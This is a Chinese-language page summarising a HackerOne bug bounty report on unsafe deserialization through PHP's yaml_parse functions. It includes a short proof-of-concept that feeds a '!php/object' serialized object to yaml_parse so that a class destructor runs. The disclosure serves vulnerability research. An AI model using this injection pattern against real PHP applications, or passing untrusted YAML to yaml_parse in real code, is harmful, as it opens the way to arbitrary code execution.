PHP yaml_parse/yaml_parse_file/yaml_parse_url Unsafe Deserialization
该报告还没有中文解读。
原文摘录
摘自原文(1708 字符中的一小部分)
Description: ------------ The PHP unserialize() function is considered unsafe due to its behavior regarding class instantiation; in cases where serialized data is attacker controlled, it can be tampered with, allowing for the instantiation of arbitrary PHP classes and thus code execution via …
原文中的代码
<?php
class A {
function __destruct() {
echo 'destructor invoked';
}
}
yaml_parse('x: !php/object O:1:"A":0:{}');
?>默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @johnleitch · 版权归作者与 Internet Bug Bounty 所有